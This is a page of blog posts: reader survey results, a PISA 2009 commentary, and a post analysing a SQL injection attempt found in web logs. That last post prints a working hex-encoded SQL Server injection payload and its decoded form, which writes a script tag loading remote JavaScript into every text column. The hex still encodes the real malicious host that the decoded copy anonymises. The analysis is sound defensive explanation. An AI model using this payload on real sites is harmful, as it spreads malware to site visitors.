Survey results analysis

Ok, so a few weeks ago, I asked you to help me with a survey. In the spirit of transparency, here are my goals for the survey:

  • Find out more about your interests so I know what excites you, what gets you jumping out of the bed in the morning (ok, maybe not the latter. But hey, it can happen!)
  • Mobile usage, catering to either this blog or my magazine
  • Product ideas (there, commercial interest. Happy?), which the first 2 goals should give me clues to

Specifically, a friend suggested to me about creating an iPhone/iPad app for the magazine. My gut feeling was it’s not really needed. I can’t think of anything I could add to provide more value, where you get something special while reading Singularity on your iPhone/iPad or whatever mobile device you’re using. A PDF file seemed to work just fine. And the general survey results seem to agree with that.

I’ve got a small sample of survey responses, so I’m not going to give specific details, just general answers and trends.

What websites/blogs do you regularly visit?

In my last attempt of a survey, I asked what topics I should write about. That was a dismal failure. The general answer was, “whatever you’re writing about now”. So this time, I had an idea. If I knew what you regularly read about, I could guess at the general topics that interest you. Clever, huh?

The websites/blogs listed have a high technology skew to it. Engadget, Ars Technica, Hacker News and the like. There were other sites listed, on maths, coding and even finance. Of note, The Endeavour (hi John!) and Rands In Repose (by Michael Lopp), because I also read them. My blog was also listed (thanks!). Not too surprising, given my main topics are maths and programming.

I believe I’ve said this before. I don’t write technology stuff because they update too fast and too frequently. And I’m not really that interested in the latest and greatest gadgets, because I’m not much of a consumer.

I’ve got one very amusing answer:

It’s too early in the morning to think about such things.

You made me laugh in this tough period of mine. Thanks!

What magazines (print or online) do you read?

Same reasoning as the first question, but this time with a focus on magazines. I want to know who my *ahem* competitors are…

The Economist was mentioned twice. Remember, I have a small sample size. From what I understand, The Economist is supposed to be hard to understand and digest. You are a very smart person.

I also got confused between 2 other magazines: Scientific American and American Scientist. They’re actually 2 different magazines.

I also discovered a new magazine: 2600. Interesting…

What books do you read? (ebooks count too)

Mostly programming books.

One intriguing response was The Blue and Brown Books (Amazon link) by Ludwig Wittgenstein, an Austrian philosopher.

Other responses include science fiction, fantasy, business, marketing, psychology, self-help, and productivity. This shows the diversity of interests of my readers, which further reinforce the underlying polymath theme of both my blog and magazine. Thank you.

What mobile devices do you use?

iPhone and iPad featured prominently. This suggests that if I were to do a mobile app, the iPhone/iPad platform would give that app the best chance of survival.

What do you use your mobile device(s) for?

The highest uses of mobile devices were browsing the Internet, email and watching videos. Watching videos?!? Really?

Next were work-related activities, listening to podcasts/music and playing games. Followed closely by online shopping and participating in social media sites.

Ok, personally, I prefer to watch videos and listen to podcasts on my desktop at home. This is because I have a slight problem in aural understanding. In simple terms, it means I need my full attention on just listening to words before I can understand them. I can’t put on a podcast and go jogging for example, because I won’t be getting anything from the podcast. And for watching videos on mobile devices, it’s typically done outside/outdoors where it’s noisier. I get irritated if I watch someone’s mouth move but I can’t hear or understand what they just said.

Moving on…

If I can create anything for you to enjoy, what will it be (and what’s the topic if relevant)?

The subtext of the question was

Examples: videos, ebooks, podcasts, webinars, e-course. I can try knitting a sweater for you, but you might find the size a little weird…

Yes, a more direct question on what products I can make money off of help you with.

The answers were all over the place. I’ve got someone who said webinars and e-courses would be nice (but didn’t tell me what topic it would be nice about). But from a few of the responses, it’s about doing what I’m already doing now (I seem to have heard that answer before…).

So my take is, for the disparate subjects, there are blogs and sites and magazines that already cater to those subjects. Maths, programming, entrepreneurship, business, even Singapore culture. I shouldn’t be writing about those subjects just because. I wrote about those subjects because they happen to be interesting at the moment, and that I want you to know about. And I should continue doing so. Perhaps some other interesting subject will come up, and then I’ll write about that.

And that, is what I believe you want me to do. And I will continue to introduce a breadth of interesting material for you as long as you find what I’ve written interesting.

If my blog (Polymath Programmer) and/or my magazine (Singularity) is available on the iPhone/iPad as an app, what do you want to use the app for?

Subtext is

(Or as an app on other mobile devices) (Exclusive interviews, videos, audio? What do you want to see? Let me know!)

The general answer is: don’t make the app. The blog/magazine reads just fine as it is.

Whew. That saves me tons of work with learning Objective-C and setting up the iTunes account and getting it approved and …

Perhaps I’ll do something else, but for now, a PDF file of the magazine works just fine. As technology improves, I think the integration of video/audio into a PDF file will work. You know, like those posters and books in Harry Potter’s world. Moving pictures and sound in a book! Imagine that!

PISA 2009 results analysis (or how I was almost on national television)

Recently, someone from a current affairs television show emailed me. Basically, it’s the start of the new year, and thus the start of the school year. There was the release of the PISA 2009 results and Shanghai topped the list. I wrote a short article, that Singapore was ranked 5th and stated some of my comments.

That person apparently did some research and found me through that article. She probably searched for “pisa results singapore” and my blog came up on the first page of Google results. Go, do a search on those terms. When you find my blog article (titled “Singapore ranked high in PISA 2009 survey”), click on it. Increase my search rankings. Thanks. *smile*

So apparently, I’m the only (Singapore) blogger (I prefer “web publisher”, but I digress) who gave a whoot’s attention about Singapore ranking 5th, in some test with a name that evokes images of an Italian flat bread with stuffings on top. Thus was I contacted to see if I was willing to appear on their TV show to talk about that. After getting over the excitement and fear of appearing on national TV (it took about half an hour to calm my nerves), I read up on my article to remember what the heck I wrote, and glanced through the PISA results again.

Taking a deep breath, I called her to say yes, I’d like to appear on the show. She asked me some questions.

“Do you know our show?”
“No. I don’t really watch television.” (An alarm bell rang violently somewhere in my brain then. It took a second before I realised that I shouldn’t have said that.)

“Do you think we should emulate Shanghai?”
“No. We should be doing our own thing.”

She sent me the topics to be discussed on the show, so I could prepare my responses. Then I did lots of research. You see, it’s been more than a decade since I had contact with academia, let alone with secondary schools (PISA test results are based on 15 year olds). My dad was worried I’d have nothing to say on the show. I asked my friends about the current Singapore education system. I even asked my cousins (who are in secondary school) to let me look at their maths and science textbooks. I read the PISA 2009 results again, thoroughly this time. I prepared my responses to the proposed discussion topics. I worked late into the night. I felt prepared.

The next day, she called me up. Apparently, the topic was changed due to a piece of news: The Singapore football team was disbanded.

“Uhm, I’m sorry. If we do an educational piece, we’ll call you again.”
“Ok.”

“So. Are you a football fan by any chance?”
“No.”
“Well, I had to ask…”

As my friend put it, “Ahhh, such is TV.”

And that’s how I almost appeared on national television. I was both disappointed and relieved at the same time. Then I thought, since I did all that research, I might as well tell you about it. So here’s my short analysis of the PISA 2009 results. Some information first:

  • PISA 2009 results mean the tests were conducted in 2009. The results were announced on 7 Dec 2010.
  • Students are between 15 years 3 months and 16 years 2 months old
  • The sample size from each country must be at least 5000, unless the country does not physically have that many eligible students.
  • Shanghai and Singapore are partner countries, and not OECD countries. I don’t know the significance, but Singapore was included in an OECD whitelist in 2009. Apparently, it’s something to do with transparency of financial and tax information.

I’m responding generally to the topics I was supposed to discuss.

Opinions and thoughts about Shanghai’s and Singapore’s performance

I’m happy for Shanghai. I’m also happy for us. I mean, we’re 5th! Besides, your greatest competitor is yourself, not other people.

I remember something that happened when I was about 9 years old (I think). I had tuition classes in English and maths (hard to believe, what with my impeccable linguistic skills. I know, right? *smile*). There was this English test, and I scored 76 marks out of 100. Yes, I still remember that score. Not too great, but I scored the highest in the class.

I went home and told my dad about it, bursting with pride at being the best in class. His response was “How come so low?” in Chinese. Talk about deflating your morale. From that incident, I learnt that the toughest benchmark you can set your target on, is yourself. Keep improving yourself. Being better than other people will take care of itself.

How did Shanghai do it? Can Singapore do it too?

I don’t know. But this might shed some light. Instead, I want to highlight something in the PISA summary report.

According to the report, out of the countries Finland, Japan, Turkey, Canada and Portugal and the partner country Singapore (emphasis mine), 39% to 48% disadvantaged students are resilient.

Resilient students come from the bottom quarter of the distribution of socio-economic background in their country and score in the top quarter among students from all countries with similar socio-economic background

Compare that with 76% of Shanghai’s disadvantaged students being resilient.

Our near obsession with tuition and shielding our children from outside stress so they can just focus on studying might be a problem. I heard a story about a father not scolding his daughter for fear of distracting her from her exams the next day. She’s a university student. What’s going to happen to her when she steps out of school? Life doesn’t throw stress at you one at a time.

Competition between Shanghai and Singapore

I don’t even know if we’re competing, at least directly. I don’t know what Shanghai is striving for. But what is Singapore striving for? To be an educational, commercial and research hub in South East Asia? Or to beat Shanghai because they won in a study that only focussed on reading, maths and science?

If we want to beat a country at something, we should know what we would get after winning.

Emulating Shanghai

If we (Singapore) truly want to win, to innovate, to lead, then we should lead. Emulating Shanghai just means we’re following them. We might catch up, but we’ll never truly overtake them.

Hey, our primary maths system is adopted by other countries. Israel took up our maths system (in 2002), and per capita, they are one of the richest in the world. Clearly we’re doing something right.

Merits of the Singapore education system

I’ve not been involved in academia for years, so I can’t comment on that. If anything, we should use more real world examples (which PISA does).

For example, a sample maths question in PISA showed 3 clocks, Greenwich 12 midnight, Berlin 1am, Sydney 10am. Then the student was asked

If it’s 7pm in Sydney, what’s the time in Berlin?

That’s immediately applicable in real life. I haven’t seen maths questions in a long time, so the following is something dredged from my memory.

Suppose John spent $X buying some marbles. Red marbles cost R cents, and blue marbles cost B cents. If John bought twice as many red marbles as blue marbles, how many blue marbles did he buy?

Putting aside the obvious reaction of “Why the heck do I want to answer that?”, there are some problems. If I knew John had twice as many red marbles as blue marbles, that meant I already counted them. How else would I know there were twice as many red marbles?

And if I really want to know how many blue marbles John bought, I would just ask him. Let’s say somehow his answer was posed in riddle form. Instead of being a normal person and just tell me he bought 5 blue marbles, John gave me a mathematical riddle to solve. The number of blue marbles had better be critically important…

I could also just ask the store keeper how many blue marbles John bought from him. I doubt the store keeper would also give me his answer in the form of a riddle. But if he did, this world just became more interesting and more exasperating at the same time.

So the student answering that kind of question had to overcome his “Why the heck do I want to answer that?” response before working on the question.

Last thoughts

From the report,

In countries where 15-year-olds are divided into more tracks based on their abilities, overall performance is not enhanced, and the younger the age at which selection for such tracks first occurs, the greater the differences in student performance, by socio-economic background, by age 15, without improved overall performance.

My understanding on that quote is that specialisation has no enhanced overall performance. There’s also this:

Successful school systems – those that perform above average and show below-average socio-economic inequalities – provide all students, regardless of their socio-economic backgrounds, with similar opportunities to learn.

Schools shouldn’t differentiate between rich and poor students.

And finally, as I wrote before:

Skill honing at an early stage assumes that whatever a student is good at has already manifested itself. It’s a reasonable assumption. It’s only dangerous if the skill specialisation is to the exclusion of all else (or even “many” else). It gets worse if the student don’t like his “special” ability, and also has aptitude in another area that he likes. But the student is already shuffled into Box A for the first skill.

Be careful of streaming.

Singularity survey result

Survey

When I first launched my magazine, I also asked you to help with a survey. (Begged you, implored you desperately to do my survey more accurately. Wait, did I just say that out loud?) Anyway, in the interests of transparency, I thought I’d share some of the insights I gained. I can’t tell you the exact results, because it’s only a small sample size. So the results are heavily skewed, but I’m going to be objective about it. There were 5 questions in total.

1. What is your gender? (based on the sum total of you physically, mentally, emotionally, psychologically and other -allies)

Quite self-explanatory. You think the addendum is irrelevant? I thought so too, until I read about how complicated it could be to respectfully ask a person’s gender. At least I didn’t ask you if you have a Y chromosome.

I thought I’d simplify the conditions, and let you decide whether you feel you’re a male or female. Hey, you could be a hermaphrodite, but generally feel that you’re masculine. If the criteria gets too complicated, throw them out and go with your gut feeling.

Oh yeah, they were all men.

2. What is your age?

I had 5 ranges:

  • below 20 years old
  • between 20 and 30 years old
  • between 30 and 40 years old
  • between 40 and 50 years old
  • more than 50 years

The survey participants were aged between 20 and 50 years old. Ok, so Pokemon is definitely out of the question…

3. At what price should the Singularity micro magazine be priced at?

The answer was a unanimous “free”. Quite expected. I’m charging for the magazine not because I want to wheedle you out of your hard earned money, but because I gotta eat.

“Free” was the first option. The second option was “$0 to $5”. I was wondering if the $0 would trigger something. Technically, free and $0 are the same. But do people respond more to the word “free”, or to a numeric value “$0”? Oh well, only if I placed them as two separate options, with the third as “$1 to $5” will I find out…

4. In which country are you living in now till 1 year in the foreseeable future?

Due to the small sample size, I will not disclose the answer to protect the innocent. Let’s just say they are all different countries. And none of them is Singapore, so yay I love you international readers! (I still love you readers in Singapore. Don’t mind that last sentence)

The question was phrased that way, to take care of travelling and resettling conditions. The point was to understand if it’s useful to do localised articles specific to a country. If I knew where you lived, I could write articles that include examples, events and activities in your country.

5. What do you want to read about in a magazine in the pursuit and application of knowledge? (write as many subjects as you like)

I wanted to know what you’re interested in. The answer surprised me. The consolidated answer is basically “what you write on your blog”. Ohhkkaayyy…

On further analysis, that is correct. The magazine is geared towards promoting polymathy. I write on diverse topics here on the blog (some of them are even interesting). It makes sense. I should’ve asked some other question…

So your wish is my command. I will go source for various fascinating and exciting topics for your reading pleasure.

[image by ragsac]

Hexed SQL – Analysis of a hack attempt

A few days ago, I was browsing through my web site logs. I was scrolling along when I saw an interesting entry (warning, long horizontal scrolling ahead. Please click through to post for easier reading):

/2008/07/15/are-you-malleable-code-editor/?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S)

I thought that looked peculiar, but didn’t think much of it. It wasn’t until the next day that I felt that was a hack attempt. Yeah, my spider sense wasn’t doing very well…

So I took a closer look at it. From the keywords “DECLARE”, “CHAR(4000)”, “SET”, “CAST” and “EXEC”, I gathered this might be an SQL statement. But what’s the long string of characters doing?

Notice the “0x” in the CAST command. Hmm… hexadecimal? To prove this, I wrote a mini program:

StreamWriter sw = new StreamWriter("vince.txt");
string s = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72";
int i;
char c;
for (i = 0; i < s.Length; i += 2)
{
    c = Convert.ToChar(Convert.ToInt32(string.Format("0x{0}{1}", s[i], s[i + 1]), 16));
    sw.Write(c);
}
sw.WriteLine();
sw.Close();

That might not be the best way to manipulate hexadecimal, but you should definitely not follow this example.

Lo and behold, I got this (reformatted for legibility):

DECLARE @T varchar(255),@C varchar(4000)

DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

It was a chunk of SQL statements in hexadecimal! So, let's look at it more closely. Let's start with this part:

select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

sysobjects and syscolumns are system database tables. This automatically rules out Oracle as the database, since Oracle uses all_tables and all_tab_columns. MySQL uses INFORMATION_SCHEMA.TABLES and INFORMATION_SCHEMA.COLUMNS respectively.

That leaves me with Sybase and SQL Server, the other 2 databases that I'm familiar with. Then I saw the query uses xtype. Aha! Sybase's sysobjects table doesn't have the xtype column; it only has the type column!

And so, I deduced that this was probably an attack on web sites running on SQL Servers.

Let's look at the query again. This part a.xtype='u' in the where clause searches for user tables (or tables created by the user or associated applications). This part:

b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167

needs a little more explanation. My digging into the innards of syscolumns tells me that 99, 35, 231 and 167 corresponds to ntext, text, nvarchar, varchar respectively.

Hmm... those 4 look familiar... Oh right, they're data types for storing text in databases. I have a theory as to why char and nchar are not included, but let's focus on the query first.

So in English, the query retrieves all columns of text data type of all user-created database tables. Then in the while loop, an update command in executed. Basically, it updates all the text columns in all the user-created tables to a "certain value". Let's look at this "certain value" (yes, this is THE HACK), shall we?

THE HACK starts with two single quotes, so it becomes just one single quote because of the SQL escape. Then it ends with double quotes and a greater than sign. Huh? Then there's a </title> end tag. This implies there's a starting title tag somewhere.

From this, I deduce that the hacker is assuming (or hoping) one of those text columns will be used in the title tag. This implies that the text columns are assumed to be of moderate length. char and nchar types are not usually used for these types of data, so they're left out (or the hacker didn't think they're worthy). At least that's my theory...

Moving on, we see that there's a script tag. Isn't there always? *smile* The Javascript file comes from a dubious web site from China, based on the web site address. Yes, I've anonymised it so the actual dubious site's address isn't shown (to prevent giving power to the hacker and to lower the chances of search engines banning me). You're welcome to use the C# code above to decipher the chunk of hexadecimal and find out yourself. But please, don't go to that site!

Now I don't quite understand what's with the where clause in the update statement in the exec command. Why didn't the hacker simply update all the columns instead of adding a where clause search filter? It ends up the same anyway... Perhaps it's to mix up the encoded hexadecimal so it's not similar to past attempts...

Anyway, basically THE HACK updates text columns such that if one of the text columns is used in the title tag, the web page loads the malicious Javascript and ends rendering the rest of the page. I have no idea what the Javascript file will do, and I don't intend to find out. The additional damage is the lost of data in the text columns, which is probably not as fatal as the Javascript.

And that's the end of my analysis. I hope that even if it's not relevant to you, you've learnt something from the thought processes that go into this hack investigation.